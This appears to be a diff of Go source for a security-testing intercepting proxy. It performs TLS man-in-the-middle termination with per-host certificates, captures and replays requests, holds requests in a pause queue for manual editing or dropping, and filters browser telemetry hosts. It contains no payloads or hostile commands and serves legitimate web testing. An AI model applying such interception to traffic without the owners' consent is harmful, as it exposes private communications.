hookInfo := sdk.RequestInfo{ID: id, Method: r.Method, URL: r.URL.String(), Host: r.Host}
|
||||
if modified, err := h.hookRunner.RunResponseHook(r.Context(), hookInfo, rawResp); err == nil && modified != nil {
|
||||
rawResp = modified
|
||||
}
|
||||
}
|
||||
|
||||
duration := timeSince(start)
|
||||
captured := &CapturedRequest{
|
||||
ID: id,
|
||||
Timestamp: start,
|
||||
Method: r.Method,
|
||||
URL: r.URL.String(),
|
||||
Host: r.Host,
|
||||
Protocol: "HTTP/1.1",
|
||||
StatusCode: resp.StatusCode,
|
||||
ContentType: resp.Header.Get("Content-Type"),
|
||||
Duration: duration,
|
||||
ResponseSize: len(rawResp),
|
||||
ReqRaw: rawReq,
|
||||
RespRaw: rawResp,
|
||||
}
|
||||
h.store.Add(captured)
|
||||
h.emit(eventRequestCaptured(captured))
|
||||
}
|
||||
|
||||
// emit sends an event on the broadcast channel without blocking.
|
||||
func (h *Handler) emit(e any) {
|
||||
if h.broadcast == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case h.broadcast <- e:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// GenerateID returns a new unique hex string ID.
|
||||
func GenerateID() string {
|
||||
b := make([]byte, 16)
|
||||
readRand(b)
|
||||
return toHexID(b)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,322 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
)
|
||||
|
||||
// urlHostWithPort returns hostPort with the default port for scheme stripped
|
||||
// so URL.String() omits :443 for https and :80 for http while preserving any
|
||||
// non-default port. e.g. ("example.com:443", "https") -> "example.com";
|
||||
// ("example.com:8443", "https") -> "example.com:8443".
|
||||
func urlHostWithPort(hostPort, scheme string) string {
|
||||
h, p, err := net.SplitHostPort(hostPort)
|
||||
if err != nil {
|
||||
return hostPort
|
||||
}
|
||||
if (scheme == "https" && p == "443") || (scheme == "http" && p == "80") {
|
||||
return h
|
||||
}
|
||||
return hostPort
|
||||
}
|
||||
|
||||
// stripHopHeaders removes hop-by-hop headers and proxy-interfering headers
|
||||
// from an upstream response so the proxy manages its own connection semantics
|
||||
// with the browser independently. It also resets resp.Close so that
|
||||
// resp.Write uses proper framing (Content-Length or chunked) instead of
|
||||
// relying on connection close to delimit the body.
|
||||
func stripHopHeaders(resp *http.Response) {
|
||||
resp.Header.Del("Connection")
|
||||
resp.Header.Del("Keep-Alive")
|
||||
resp.Header.Del("Proxy-Authenticate")
|
||||
resp.Header.Del("Proxy-Authorization")
|
||||
resp.Header.Del("Te")
|
||||
resp.Header.Del("Trailer")
|
||||
resp.Header.Del("Transfer-Encoding")
|
||||
resp.Header.Del("Upgrade")
|
||||
resp.Header.Del("Alt-Svc")
|
||||
resp.Close = false
|
||||
// Nil out the upstream request reference so resp.Write does not inherit
|
||||
// the transport's Close flag from it (Go sets Request.Close = true when
|
||||
// DisableKeepAlives is enabled).
|
||||
resp.Request = nil
|
||||
}
|
||||
|
||||
// maxCaptureBody is the maximum response body size to capture (10 MB).
|
||||
const maxCaptureBody = 10 << 20
|
||||
|
||||
// readAndCaptureResponse reads the response body once (with a size limit),
|
||||
// builds rawResp bytes for capture, and restores resp.Body for forwarding.
|
||||
// This avoids the double-read pattern of dumpResponse + resp.Write and
|
||||
// prevents indefinite hangs on streaming responses.
|
||||
func readAndCaptureResponse(resp *http.Response) []byte {
|
||||
bodyBytes, _ := io.ReadAll(io.LimitReader(resp.Body, maxCaptureBody+1))
|
||||
resp.Body.Close()
|
||||
|
||||
if len(bodyBytes) > maxCaptureBody {
|
||||
bodyBytes = bodyBytes[:maxCaptureBody]
|
||||
}
|
||||
|
||||
// Restore body for forwarding (caller re-establishes framing).
|
||||
resp.Body = io.NopCloser(bytes.NewReader(bodyBytes))
|
||||
|
||||
// Build rawResp from a shallow copy with chunked encoding cleared and
|
||||
// content length set, so DumpResponse emits a Content-Length-framed dump
|
||||
// instead of re-encoding the already-decoded body as chunked.
|
||||
capturedResp := *resp
|
||||
capturedResp.TransferEncoding = nil
|
||||
capturedResp.ContentLength = int64(len(bodyBytes))
|
||||
capturedResp.Body = io.NopCloser(bytes.NewReader(bodyBytes))
|
||||
rawResp, _ := httputil.DumpResponse(&capturedResp, true)
|
||||
return rawResp
|
||||
}
|
||||
|
||||
// limitWriter wraps a writer and silently stops writing after n bytes.
|
||||
// It always reports success to the caller so the TeeReader stream is not interrupted.
|
||||
type limitWriter struct {
|
||||
w io.Writer
|
||||
n int
|
||||
}
|
||||
|
||||
func (lw *limitWriter) Write(p []byte) (int, error) {
|
||||
if lw.n <= 0 {
|
||||
return len(p), nil // discard, but report full write
|
||||
}
|
||||
if len(p) > lw.n {
|
||||
p = p[:lw.n]
|
||||
}
|
||||
n, err := lw.w.Write(p)
|
||||
lw.n -= n
|
||||
if err != nil {
|
||||
// Don't propagate write errors to the tee stream.
|
||||
return len(p), nil
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// streamAndCaptureResponse streams the response to dst (a MITM TLS conn) while
|
||||
// simultaneously capturing the raw response (headers + body up to maxCaptureBody).
|
||||
// Returns the captured raw response bytes.
|
||||
func streamAndCaptureResponse(resp *http.Response, dst net.Conn) []byte {
|
||||
resp.Proto = "HTTP/1.1"
|
||||
resp.ProtoMajor = 1
|
||||
resp.ProtoMinor = 1
|
||||
|
||||
// Ensure the proxy controls connection framing to the browser: never rely
|
||||
// on connection-close to delimit the body (the MITM loop keeps the conn
|
||||
// alive). Force chunked when Content-Length is unknown.
|
||||
resp.Close = false
|
||||
resp.Header.Del("Connection")
|
||||
if resp.ContentLength < 0 {
|
||||
resp.TransferEncoding = []string{"chunked"}
|
||||
}
|
||||
|
||||
var captureBuf bytes.Buffer
|
||||
origBody := resp.Body
|
||||
resp.Body = io.NopCloser(io.TeeReader(origBody, &limitWriter{w: &captureBuf, n: maxCaptureBody}))
|
||||
|
||||
// Write full response (headers + streaming body) to the client.
|
||||
writeErr := resp.Write(dst)
|
||||
origBody.Close()
|
||||
|
||||
// Build rawResp from captured data. The body in captureBuf is already
|
||||
// dechunked, so clear TransferEncoding to prevent DumpResponse from
|
||||
// re-emitting chunked framing in the stored bytes.
|
||||
capturedResp := *resp
|
||||
capturedResp.TransferEncoding = nil
|
||||
capturedResp.Body = io.NopCloser(bytes.NewReader(captureBuf.Bytes()))
|
||||
capturedResp.ContentLength = int64(captureBuf.Len())
|
||||
rawResp, _ := httputil.DumpResponse(&capturedResp, true)
|
||||
|
||||
_ = writeErr
|
||||
return rawResp
|
||||
}
|
||||
|
||||
// streamAndCaptureHTTP streams the response through an http.ResponseWriter while
|
||||
// capturing raw response bytes (headers + body up to maxCaptureBody).
|
||||
func streamAndCaptureHTTP(resp *http.Response, w http.ResponseWriter) []byte {
|
||||
// Copy response headers.
|
||||
for k, vv := range resp.Header {
|
||||
for _, v := range vv {
|
||||
w.Header().Add(k, v)
|
||||
}
|
||||
}
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
|
||||
// Tee the body to both the client and a capture buffer.
|
||||
var captureBuf bytes.Buffer
|
||||
tee := io.TeeReader(resp.Body, &limitWriter{w: &captureBuf, n: maxCaptureBody})
|
||||
io.Copy(w, tee) //nolint:errcheck
|
||||
resp.Body.Close()
|
||||
|
||||
// Build rawResp for capture. Body in captureBuf is already dechunked, so
|
||||
// clear TransferEncoding to avoid re-emitting chunked framing.
|
||||
capturedResp := *resp
|
||||
capturedResp.Proto = "HTTP/1.1"
|
||||
capturedResp.ProtoMajor = 1
|
||||
capturedResp.ProtoMinor = 1
|
||||
capturedResp.TransferEncoding = nil
|
||||
capturedResp.Body = io.NopCloser(bytes.NewReader(captureBuf.Bytes()))
|
||||
capturedResp.ContentLength = int64(captureBuf.Len())
|
||||
rawResp, _ := httputil.DumpResponse(&capturedResp, true)
|
||||
|
||||
return rawResp
|
||||
}
|
||||
|
||||
// readRand fills b with cryptographically random bytes.
|
||||
func readRand(b []byte) {
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
panic("crypto/rand unavailable: " + err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
// toHexID formats a 16-byte slice into a UUID-like hex string.
|
||||
func toHexID(b []byte) string {
|
||||
return fmt.Sprintf("%s-%s-%s-%s-%s",
|
||||
hex.EncodeToString(b[0:4]),
|
||||
hex.EncodeToString(b[4:6]),
|
||||
hex.EncodeToString(b[6:8]),
|
||||
hex.EncodeToString(b[8:10]),
|
||||
hex.EncodeToString(b[10:16]),
|
||||
)
|
||||
}
|
||||
|
||||
// dumpRequest serialises an http.Request to bytes, restoring the body.
|
||||
func dumpRequest(r *http.Request, withBody bool) ([]byte, error) {
|
||||
return httputil.DumpRequest(r, withBody)
|
||||
}
|
||||
|
||||
// dumpResponse serialises an http.Response to bytes, restoring the body.
|
||||
func dumpResponse(r *http.Response, withBody bool) ([]byte, error) {
|
||||
return httputil.DumpResponse(r, withBody)
|
||||
}
|
||||
|
||||
// parseRequest reconstructs an *http.Request from raw bytes.
|
||||
func parseRequest(raw []byte) (*http.Request, error) {
|
||||
return http.ReadRequest(bufio.NewReader(bytes.NewReader(raw)))
|
||||
}
|
||||
|
||||
// copyBody copies src to dst, discarding any error.
|
||||
func copyBody(dst io.Writer, src io.Reader) {
|
||||
io.Copy(dst, src) //nolint:errcheck
|
||||
}
|
||||
|
||||
// UpdateContentLength recalculates the Content-Length header from the body size
|
||||
// in a raw HTTP request. Used by the manipulate handler and fuzzer.
|
||||
//
|
||||
// Accepts either CRLF or LF header terminators (CodeMirror normalizes edits to
|
||||
// LF), but always emits canonical CRLF. The body is preserved byte-for-byte —
|
||||
// line endings inside the body are never touched.
|
||||
func UpdateContentLength(raw []byte) []byte {
|
||||
// Locate the header/body boundary: whichever of \r\n\r\n or \n\n appears
|
||||
// first wins. This handles pure-CRLF (unedited), pure-LF (edited in
|
||||
// CodeMirror), and mixed inputs.
|
||||
crlfIdx := bytes.Index(raw, []byte("\r\n\r\n"))
|
||||
lfIdx := bytes.Index(raw, []byte("\n\n"))
|
||||
var headerEnd, sepLen int
|
||||
switch {
|
||||
case crlfIdx >= 0 && (lfIdx < 0 || crlfIdx <= lfIdx):
|
||||
headerEnd, sepLen = crlfIdx, 4
|
||||
case lfIdx >= 0:
|
||||
headerEnd, sepLen = lfIdx, 2
|
||||
default:
|
||||
return raw
|
||||
}
|
||||
|
||||
headers := raw[:headerEnd]
|
||||
body := raw[headerEnd+sepLen:]
|
||||
|
||||
// Normalize header line endings so we can split cleanly regardless of input.
|
||||
normalized := bytes.ReplaceAll(headers, []byte("\r\n"), []byte("\n"))
|
||||
lines := bytes.Split(normalized, []byte("\n"))
|
||||
|
||||
var rebuilt [][]byte
|
||||
found := false
|
||||
for _, line := range lines {
|
||||
if len(line) > 0 && strings.HasPrefix(strings.ToLower(string(line)), "content-length:") {
|
||||
rebuilt = append(rebuilt, []byte("Content-Length: "+strconv.Itoa(len(body))))
|
||||
found = true
|
||||
} else {
|
||||
rebuilt = append(rebuilt, line)
|
||||
}
|
||||
}
|
||||
if !found && len(body) > 0 {
|
||||
rebuilt = append(rebuilt, []byte("Content-Length: "+strconv.Itoa(len(body))))
|
||||
}
|
||||
|
||||
result := bytes.Join(rebuilt, []byte("\r\n"))
|
||||
result = append(result, []byte("\r\n\r\n")...)
|
||||
result = append(result, body...)
|
||||
return result
|
||||
}
|
||||
|
||||
// buildUpstreamErrorCapture constructs a CapturedRequest representing the
|
||||
// synthetic 502 the proxy returns to the client when an upstream RoundTrip
|
||||
// fails (e.g. H2 RST_STREAM, dial error, TLS handshake failure). Without this,
|
||||
// failed proxy attempts are invisible in History — the worst case for the
|
||||
// operator, since the only missing requests are the ones joro itself rejected.
|
||||
func buildUpstreamErrorCapture(id string, start time.Time, method, url, host, protocol string, rawReq []byte, errMsg string) *CapturedRequest {
|
||||
body := "upstream error: " + errMsg + "\n"
|
||||
statusLine := protocol
|
||||
if statusLine == "" {
|
||||
statusLine = "HTTP/1.1"
|
||||
}
|
||||
rawResp := fmt.Appendf(nil, "%s 502 Bad Gateway\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Length: %d\r\n\r\n%s",
|
||||
statusLine, len(body), body)
|
||||
return &CapturedRequest{
|
||||
ID: id,
|
||||
Timestamp: start,
|
||||
Method: method,
|
||||
URL: url,
|
||||
Host: host,
|
||||
Protocol: statusLine,
|
||||
StatusCode: http.StatusBadGateway,
|
||||
ContentType: "text/plain; charset=utf-8",
|
||||
Duration: timeSince(start),
|
||||
ResponseSize: len(rawResp),
|
||||
ReqRaw: rawReq,
|
||||
RespRaw: rawResp,
|
||||
}
|
||||
}
|
||||
|
||||
func eventRequestCaptured(r *CapturedRequest) event.WSEvent {
|
||||
return event.WSEvent{Type: "request.captured", Data: r}
|
||||
}
|
||||
|
||||
func eventInterceptQueued(id, method, url, host, protocol string, raw []byte) event.WSEvent {
|
||||
return event.WSEvent{Type: "intercept.queued", Data: map[string]any{
|
||||
"id": id,
|
||||
"method": method,
|
||||
"url": url,
|
||||
"host": host,
|
||||
"protocol": protocol,
|
||||
"reqRaw": raw,
|
||||
}}
|
||||
}
|
||||
|
||||
func eventWSMessage(m *CapturedWSMessage) event.WSEvent {
|
||||
return event.WSEvent{Type: "ws.message", Data: m}
|
||||
}
|
||||
|
||||
func eventInterceptResolved(id string, action InterceptAction) event.WSEvent {
|
||||
a := "forward"
|
||||
if action == ActionDrop {
|
||||
a = "drop"
|
||||
}
|
||||
return event.WSEvent{Type: "intercept.resolved", Data: map[string]any{
|
||||
"id": id,
|
||||
"action": a,
|
||||
}}
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// InterceptAction describes the decision made for an intercepted request.
|
||||
type InterceptAction int
|
||||
|
||||
const (
|
||||
ActionForward InterceptAction = iota
|
||||
ActionDrop
|
||||
)
|
||||
|
||||
// InterceptDecision is sent back to the waiting handler goroutine.
|
||||
type InterceptDecision struct {
|
||||
Action InterceptAction
|
||||
ReqData []byte // non-nil → use as replacement raw request bytes
|
||||
}
|
||||
|
||||
// PendingRequest is an intercepted request waiting for a forward/drop decision.
|
||||
type PendingRequest struct {
|
||||
ID string `json:"id"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Host string `json:"host"`
|
||||
Protocol string `json:"protocol,omitempty"`
|
||||
ReqRaw []byte `json:"reqRaw"`
|
||||
|
||||
decision chan InterceptDecision
|
||||
}
|
||||
|
||||
// InterceptQueue manages the set of paused requests and the enabled/disabled toggle.
|
||||
type InterceptQueue struct {
|
||||
mu sync.RWMutex
|
||||
enabled bool
|
||||
queue map[string]*PendingRequest
|
||||
timeout time.Duration
|
||||
}
|
||||
|
||||
// NewInterceptQueue creates an InterceptQueue with the given auto-forward timeout.
|
||||
func NewInterceptQueue(timeout time.Duration) *InterceptQueue {
|
||||
if timeout <= 0 {
|
||||
timeout = 60 * time.Second
|
||||
}
|
||||
return &InterceptQueue{
|
||||
queue: make(map[string]*PendingRequest),
|
||||
timeout: timeout,
|
||||
}
|
||||
}
|
||||
|
||||
// IsEnabled reports whether interception is currently active.
|
||||
func (q *InterceptQueue) IsEnabled() bool {
|
||||
q.mu.RLock()
|
||||
defer q.mu.RUnlock()
|
||||
return q.enabled
|
||||
}
|
||||
|
||||
// SetEnabled enables or disables interception.
|
||||
func (q *InterceptQueue) SetEnabled(enabled bool) {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
q.enabled = enabled
|
||||
}
|
||||
|
||||
// SetTimeout changes the auto-forward timeout.
|
||||
func (q *InterceptQueue) SetTimeout(d time.Duration) {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
q.timeout = d
|
||||
}
|
||||
|
||||
// Pause blocks the calling goroutine until a decision is made or the timeout fires.
|
||||
// Returns (decision, true) on explicit decision, or (forward, false) on timeout.
|
||||
func (q *InterceptQueue) Pause(id, method, rawURL, host, protocol string, rawReq []byte) (InterceptDecision, bool) {
|
||||
pr := &PendingRequest{
|
||||
ID: id,
|
||||
Method: method,
|
||||
URL: rawURL,
|
||||
Host: host,
|
||||
Protocol: protocol,
|
||||
ReqRaw: rawReq,
|
||||
decision: make(chan InterceptDecision, 1),
|
||||
}
|
||||
|
||||
q.mu.Lock()
|
||||
timeout := q.timeout
|
||||
q.queue[id] = pr
|
||||
q.mu.Unlock()
|
||||
|
||||
defer func() {
|
||||
q.mu.Lock()
|
||||
delete(q.queue, id)
|
||||
q.mu.Unlock()
|
||||
}()
|
||||
|
||||
select {
|
||||
case d := <-pr.decision:
|
||||
return d, true
|
||||
case <-time.After(timeout):
|
||||
return InterceptDecision{Action: ActionForward}, false
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve sends a decision to the goroutine waiting on id. Returns false if id is unknown.
|
||||
func (q *InterceptQueue) Resolve(id string, d InterceptDecision) bool {
|
||||
q.mu.RLock()
|
||||
pr, ok := q.queue[id]
|
||||
q.mu.RUnlock()
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
select {
|
||||
case pr.decision <- d:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// List returns a snapshot of all currently pending requests.
|
||||
func (q *InterceptQueue) List() []*PendingRequest {
|
||||
q.mu.RLock()
|
||||
defer q.mu.RUnlock()
|
||||
result := make([]*PendingRequest, 0, len(q.queue))
|
||||
for _, pr := range q.queue {
|
||||
result = append(result, pr)
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -0,0 +1,255 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
// mitm performs TLS termination for CONNECT-tunnelled HTTPS traffic. hostPort
|
||||
// is the original CONNECT target (e.g. "example.com:443"); hostname is the
|
||||
// bare host used for cert lookup, scope, and the captured Host field. The
|
||||
// connect-target port is preserved on req.URL.Host so non-default ports show
|
||||
// up in History.
|
||||
func (h *Handler) mitm(clientConn net.Conn, hostname, hostPort string) {
|
||||
defer clientConn.Close()
|
||||
|
||||
tlsCert, err := h.certCache.Get(hostname)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
nextProtos := []string{"http/1.1"}
|
||||
if h.transport != nil && h.transport.HTTP2() {
|
||||
nextProtos = []string{"h2", "http/1.1"}
|
||||
}
|
||||
|
||||
tlsConn := tls.Server(clientConn, &tls.Config{
|
||||
Certificates: []tls.Certificate{*tlsCert},
|
||||
NextProtos: nextProtos,
|
||||
})
|
||||
if err := tlsConn.Handshake(); err != nil {
|
||||
return
|
||||
}
|
||||
defer tlsConn.Close()
|
||||
|
||||
if tlsConn.ConnectionState().NegotiatedProtocol == "h2" {
|
||||
h.serveH2(tlsConn, hostname, hostPort)
|
||||
return
|
||||
}
|
||||
|
||||
urlHost := urlHostWithPort(hostPort, "https")
|
||||
|
||||
reader := bufio.NewReader(tlsConn)
|
||||
|
||||
for {
|
||||
req, err := http.ReadRequest(reader)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
req.URL.Scheme = "https"
|
||||
req.URL.Host = urlHost
|
||||
req.RequestURI = ""
|
||||
|
||||
// WebSocket upgrade: branch into WS relay.
|
||||
if isWebSocketUpgrade(req) {
|
||||
h.handleWSUpgradeMITM(tlsConn, req, hostname)
|
||||
return
|
||||
}
|
||||
|
||||
if !h.scope.InScope(hostname, req.Method, req.URL.Path) {
|
||||
transport := h.transport.Transport()
|
||||
resp, err := transport.RoundTrip(req)
|
||||
if err != nil {
|
||||
writeSimpleResponse(tlsConn, http.StatusBadGateway, fmt.Sprintf("upstream error: %v", err))
|
||||
continue
|
||||
}
|
||||
stripHopHeaders(resp)
|
||||
resp.Proto = "HTTP/1.1"
|
||||
resp.ProtoMajor = 1
|
||||
resp.ProtoMinor = 1
|
||||
if resp.ContentLength < 0 {
|
||||
resp.TransferEncoding = []string{"chunked"}
|
||||
}
|
||||
if err := resp.Write(tlsConn); err != nil {
|
||||
resp.Body.Close()
|
||||
return
|
||||
}
|
||||
resp.Body.Close()
|
||||
if req.Close {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
id := GenerateID()
|
||||
start := timeNow()
|
||||
|
||||
rawReq, _ := dumpRequest(req, true)
|
||||
|
||||
if h.intercept.IsEnabled() {
|
||||
h.emit(eventInterceptQueued(id, req.Method, req.URL.String(), hostname, "HTTP/1.1", rawReq))
|
||||
decision, _ := h.intercept.Pause(id, req.Method, req.URL.String(), hostname, "HTTP/1.1", rawReq)
|
||||
h.emit(eventInterceptResolved(id, decision.Action))
|
||||
|
||||
if decision.Action == ActionDrop {
|
||||
writeSimpleResponse(tlsConn, http.StatusForbidden, "request dropped by intercept")
|
||||
continue
|
||||
}
|
||||
|
||||
if len(decision.ReqData) > 0 {
|
||||
modified, parseErr := parseRequest(decision.ReqData)
|
||||
if parseErr == nil {
|
||||
modified.URL.Scheme = "https"
|
||||
modified.URL.Host = urlHost
|
||||
modified.RequestURI = ""
|
||||
req = modified
|
||||
rawReq = decision.ReqData
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Apply request match/replace rules.
|
||||
if h.replace != nil && h.replace.IsEnabled() {
|
||||
req = applyRequestReplace(h.replace, req)
|
||||
req.URL.Scheme = "https"
|
||||
req.URL.Host = urlHost
|
||||
req.RequestURI = ""
|
||||
rawReq, _ = dumpRequest(req, true)
|
||||
}
|
||||
|
||||
// Apply custom data additions.
|
||||
req = applyCustomData(h.customData, req)
|
||||
rawReq, _ = dumpRequest(req, true)
|
||||
|
||||
// Run plugin request hooks.
|
||||
if h.hookRunner != nil {
|
||||
hookInfo := sdk.RequestInfo{ID: id, Method: req.Method, URL: req.URL.String(), Host: hostname}
|
||||
modified, hookErr := h.hookRunner.RunRequestHook(req.Context(), hookInfo, rawReq)
|
||||
if hookErr == nil && modified == nil {
|
||||
writeSimpleResponse(tlsConn, http.StatusForbidden, "request dropped by plugin")
|
||||
continue
|
||||
}
|
||||
if hookErr == nil && modified != nil {
|
||||
if parsed, parseErr := parseRequest(modified); parseErr == nil {
|
||||
parsed.URL.Scheme = "https"
|
||||
parsed.URL.Host = urlHost
|
||||
parsed.RequestURI = ""
|
||||
req = parsed
|
||||
rawReq = modified
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
req.Header.Del("Accept-Encoding")
|
||||
transport := h.transport.Transport()
|
||||
resp, err := transport.RoundTrip(req)
|
||||
if err != nil {
|
||||
writeSimpleResponse(tlsConn, http.StatusBadGateway, fmt.Sprintf("upstream error: %v", err))
|
||||
captured := buildUpstreamErrorCapture(id, start, req.Method, req.URL.String(), hostname, "HTTP/1.1", rawReq, err.Error())
|
||||
h.store.Add(captured)
|
||||
h.emit(eventRequestCaptured(captured))
|
||||
if req.Close {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Strip hop-by-hop and proxy-interfering headers. The proxy manages its
|
||||
// own connection semantics with the browser independently of upstream.
|
||||
stripHopHeaders(resp)
|
||||
|
||||
var rawResp []byte
|
||||
connClose := req.Close
|
||||
|
||||
if h.replace != nil && h.replace.IsEnabled() && h.replace.HasResponseRules() {
|
||||
// Buffered path: need full body to apply response replace rules.
|
||||
resp = applyResponseReplace(h.replace, resp)
|
||||
rawResp = readAndCaptureResponse(resp)
|
||||
|
||||
resp.Proto = "HTTP/1.1"
|
||||
resp.ProtoMajor = 1
|
||||
resp.ProtoMinor = 1
|
||||
resp.Close = false
|
||||
resp.Header.Del("Connection")
|
||||
if resp.ContentLength < 0 {
|
||||
resp.TransferEncoding = []string{"chunked"}
|
||||
}
|
||||
if err := resp.Write(tlsConn); err != nil {
|
||||
resp.Body.Close()
|
||||
return
|
||||
}
|
||||
resp.Body.Close()
|
||||
} else {
|
||||
// Streaming path: forward headers+body immediately.
|
||||
rawResp = streamAndCaptureResponse(resp, tlsConn)
|
||||
}
|
||||
|
||||
// Run plugin response hooks.
|
||||
if h.hookRunner != nil {
|
||||
hookInfo := sdk.RequestInfo{ID: id, Method: req.Method, URL: req.URL.String(), Host: hostname}
|
||||
if modified, hookErr := h.hookRunner.RunResponseHook(req.Context(), hookInfo, rawResp); hookErr == nil && modified != nil {
|
||||
rawResp = modified
|
||||
}
|
||||
}
|
||||
|
||||
duration := timeSince(start)
|
||||
captured := &CapturedRequest{
|
||||
ID: id,
|
||||
Timestamp: start,
|
||||
Method: req.Method,
|
||||
URL: req.URL.String(),
|
||||
Host: hostname,
|
||||
Protocol: "HTTP/1.1",
|
||||
StatusCode: resp.StatusCode,
|
||||
ContentType: resp.Header.Get("Content-Type"),
|
||||
Duration: duration,
|
||||
ResponseSize: len(rawResp),
|
||||
ReqRaw: rawReq,
|
||||
RespRaw: rawResp,
|
||||
}
|
||||
h.store.Add(captured)
|
||||
h.emit(eventRequestCaptured(captured))
|
||||
|
||||
if connClose {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// writeSimpleResponse sends a minimal HTTP response over conn.
|
||||
func writeSimpleResponse(conn net.Conn, status int, body string) {
|
||||
resp := &http.Response{
|
||||
StatusCode: status,
|
||||
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
|
||||
Proto: "HTTP/1.1",
|
||||
ProtoMajor: 1,
|
||||
ProtoMinor: 1,
|
||||
Header: http.Header{"Content-Type": {"text/plain"}, "Connection": {"close"}},
|
||||
Body: nopReadCloser([]byte(body)),
|
||||
Close: true,
|
||||
}
|
||||
resp.ContentLength = int64(len(body))
|
||||
resp.Write(conn) //nolint:errcheck
|
||||
}
|
||||
|
||||
// nopReadCloser wraps a byte slice as an io.ReadCloser.
|
||||
func nopReadCloser(b []byte) *bytesReadCloser {
|
||||
return &bytesReadCloser{r: bytes.NewReader(b)}
|
||||
}
|
||||
|
||||
type bytesReadCloser struct{ r *bytes.Reader }
|
||||
|
||||
func (b *bytesReadCloser) Read(p []byte) (int, error) { return b.r.Read(p) }
|
||||
func (b *bytesReadCloser) Close() error { return nil }
|
||||
|
||||
// timeNow and timeSince are vars so tests can override them.
|
||||
var timeNow = time.Now
|
||||
var timeSince = time.Since
|
||||
@@ -0,0 +1,134 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// NoisePattern defines a host pattern to filter as noise.
|
||||
type NoisePattern struct {
|
||||
ID string `json:"id"`
|
||||
Pattern string `json:"pattern"`
|
||||
}
|
||||
|
||||
// NoiseFilter silently tunnels/forwards traffic matching known browser noise
|
||||
// patterns (captive portal, telemetry, OCSP, etc.) without capture.
|
||||
type NoiseFilter struct {
|
||||
mu sync.RWMutex
|
||||
enabled bool
|
||||
patterns []NoisePattern
|
||||
}
|
||||
|
||||
// defaultNoisePatterns returns the curated list of common browser noise hosts.
|
||||
func defaultNoisePatterns() []NoisePattern {
|
||||
hosts := []string{
|
||||
// Firefox / Mozilla
|
||||
"detectportal.firefox.com",
|
||||
"*.mozilla.com",
|
||||
"*.mozilla.org",
|
||||
"*.mozilla.net",
|
||||
"*.mozgcp.net",
|
||||
// Chrome
|
||||
"safebrowsing.googleapis.com",
|
||||
"safebrowsing-cache.google.com",
|
||||
"update.googleapis.com",
|
||||
"optimizationguide-pa.googleapis.com",
|
||||
"content-autofill.googleapis.com",
|
||||
"clients.google.com",
|
||||
"clients2.google.com",
|
||||
"clients4.google.com",
|
||||
// OCSP
|
||||
"ocsp.pki.goog",
|
||||
"ocsp.digicert.com",
|
||||
"ocsp.sectigo.com",
|
||||
"ocsp.usertrust.com",
|
||||
// Apple
|
||||
"captive.apple.com",
|
||||
// Microsoft
|
||||
"crl.microsoft.com",
|
||||
}
|
||||
patterns := make([]NoisePattern, len(hosts))
|
||||
for i, h := range hosts {
|
||||
patterns[i] = NoisePattern{ID: GenerateID(), Pattern: h}
|
||||
}
|
||||
return patterns
|
||||
}
|
||||
|
||||
// NewNoiseFilter creates a NoiseFilter that is enabled by default with
|
||||
// curated browser noise patterns.
|
||||
func NewNoiseFilter() *NoiseFilter {
|
||||
return &NoiseFilter{
|
||||
enabled: true,
|
||||
patterns: defaultNoisePatterns(),
|
||||
}
|
||||
}
|
||||
|
||||
// IsEnabled reports whether noise filtering is active.
|
||||
func (nf *NoiseFilter) IsEnabled() bool {
|
||||
nf.mu.RLock()
|
||||
defer nf.mu.RUnlock()
|
||||
return nf.enabled
|
||||
}
|
||||
|
||||
// SetEnabled enables or disables noise filtering.
|
||||
func (nf *NoiseFilter) SetEnabled(enabled bool) {
|
||||
nf.mu.Lock()
|
||||
defer nf.mu.Unlock()
|
||||
nf.enabled = enabled
|
||||
}
|
||||
|
||||
// Patterns returns a copy of the current noise patterns.
|
||||
func (nf *NoiseFilter) Patterns() []NoisePattern {
|
||||
nf.mu.RLock()
|
||||
defer nf.mu.RUnlock()
|
||||
out := make([]NoisePattern, len(nf.patterns))
|
||||
copy(out, nf.patterns)
|
||||
return out
|
||||
}
|
||||
|
||||
// SetPatterns replaces all noise patterns.
|
||||
func (nf *NoiseFilter) SetPatterns(patterns []NoisePattern) {
|
||||
nf.mu.Lock()
|
||||
